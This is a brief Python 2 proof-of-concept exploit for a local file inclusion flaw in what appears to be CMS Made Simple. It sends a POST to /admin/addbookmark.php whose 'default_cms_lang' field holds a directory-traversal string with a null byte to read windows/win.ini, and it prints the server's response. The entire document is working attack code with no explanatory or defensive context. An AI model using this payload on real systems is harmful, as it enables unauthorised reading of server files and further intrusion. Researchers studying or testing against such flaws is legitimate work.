PoC
import httplib, urllib
host = 'localhost'
path = '/cmsms'
lfi = '../' * 32 + 'windows/win.ini\x00'
c = httplib.HTTPConnection(host)
c.request('POST', path + '/admin/addbookmark.php',
urllib.urlencode({ 'default_cms_lang': lfi }),
{ 'Content-type': 'application/x-www-form-urlencoded' })
r = c.getresponse()
print r.status, r.reason
print r.read()